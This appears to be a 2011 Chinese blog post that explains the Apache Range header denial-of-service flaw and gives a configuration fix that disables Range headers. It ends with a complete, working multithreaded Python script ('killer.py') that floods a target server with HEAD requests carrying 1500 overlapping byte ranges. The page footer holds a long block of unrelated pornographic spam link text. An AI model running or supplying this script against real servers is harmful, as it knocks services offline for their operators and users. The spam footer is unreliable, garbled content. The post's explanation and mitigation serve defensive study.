<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    stone2083

    Apache Range Header DOS攻擊 介紹

    背景
    http://lwn.net/Articles/456268/


    Http協(xié)議之Byte Range
    http://www.ietf.org/rfc/rfc2616.txt (14.35章節(jié))
    14.35   Range ....................................................138
       14.35.1    Byte Ranges ...........................................138
       14.35.2    Range Retrieval Requests ..............................139

    Apache演示
    1. 新建內(nèi)容為abcdefghijk的txt頁(yè)面
    2. 不帶Byte Range Header的請(qǐng)求,請(qǐng)看:

    3.帶Byte Range Header的請(qǐng)求,請(qǐng)看:


    理論上,一旦帶上N個(gè)Range分片,Apache單次請(qǐng)求壓力就是之前的N倍(實(shí)際少于N),需要做大量的運(yùn)算和字符串處理。故構(gòu)建無(wú)窮的分片,單機(jī)DOS攻擊,就能搞垮Apache Server。

    解決方案
    1. 等待Apache修復(fù),不過(guò)Byte Range是規(guī)范要求的,不能算是真正意義上的BUG,不知道會(huì)如何修復(fù)這個(gè)問(wèn)題
    2. 對(duì)于不是下載站點(diǎn)來(lái)說(shuō),建議禁用Byte Range,具體做法:
    2.1 安裝mod_headers模塊
    2.2 配置文件加上: RequestHeader unset Range

    最后附上一個(gè)攻擊腳本,做演示
     1 # encoding:utf8
     2 #!/usr/bin/env python
     3 import socket
     4 import threading
     5 import sys
     6 
     7 headers = '''
     8 HEAD / HTTP/1.1
     9 Host: %s
    10 Range: bytes=%s
    11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    12 
    13 '''
    14 
    15 #fragment count and loop count
    16 COUNT = 1500
    17 #concurrent count
    18 PARALLEL = 50
    19 PORT = 80
    20 
    21 def req(server):
    22     try:
    23         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    24         s.connect((server, PORT))
    25         s.send(headers % (server, fragment(COUNT)))
    26         s.close()
    27     except:
    28         print 'Server Seems Weak. Please Stop.'
    29 
    30 def fragment(n):
    31     ret = ''
    32     for i in xrange(n):
    33         if i == 0:
    34             ret = ret + '0-' + str(i + 1)
    35         else:
    36             ret = ret + ',0-' + str(i + 1)
    37     return ret
    38 
    39 def run(server):
    40     for _ in xrange(COUNT):
    41         req(server)
    42 
    43 if len(sys.argv) != 2:
    44     print 'killer.py $server'
    45     sys.exit(0)
    46 
    47 #run
    48 srv = sys.argv[1]
    49 for _ in xrange(PARALLEL):
    50     threading.Thread(target=run, args=(srv,)).start()
    51 

    posted on 2011-08-29 10:35 stone2083 閱讀(4305) 評(píng)論(0)  編輯  收藏 所屬分類: net


    只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。


    網(wǎng)站導(dǎo)航:
     
    主站蜘蛛池模板: 亚洲人成网站色在线入口| 日韩少妇内射免费播放| 免费无码一区二区三区蜜桃大 | 亚洲综合色区中文字幕| 韩国免费三片在线视频| 美女巨胸喷奶水视频www免费| 久久精品国产亚洲av水果派| 日韩黄色免费观看| 亚洲av永久无码精品表情包| av电影在线免费看| 亚洲精品和日本精品| 999久久久免费精品播放| 亚洲黄色三级视频| 免费欧洲美女牲交视频| 国产91成人精品亚洲精品| 亚洲AV无码精品色午夜在线观看| 在线A级毛片无码免费真人| 亚洲日韩精品国产一区二区三区| 国产亚洲一区区二区在线| 丁香花免费完整高清观看| 亚洲精品美女久久久久久久| 亚洲情综合五月天| 国产又长又粗又爽免费视频| 6080午夜一级毛片免费看6080夜福利| 春暖花开亚洲性无区一区二区| 亚洲精品国产第1页| 亚洲国产另类久久久精品黑人 | 午夜老司机免费视频| 免费人妻无码不卡中文字幕系| 无人视频在线观看免费播放影院| 亚洲国产综合精品| 情人伊人久久综合亚洲| 亚洲精品成人久久久| 午夜免费福利在线观看| 37pao成人国产永久免费视频| A国产一区二区免费入口| 美女黄色毛片免费看| 亚洲欧美日韩一区二区三区| 亚洲综合区图片小说区| 亚洲国产精品成人精品无码区| 亚洲AV成人精品日韩一区18p|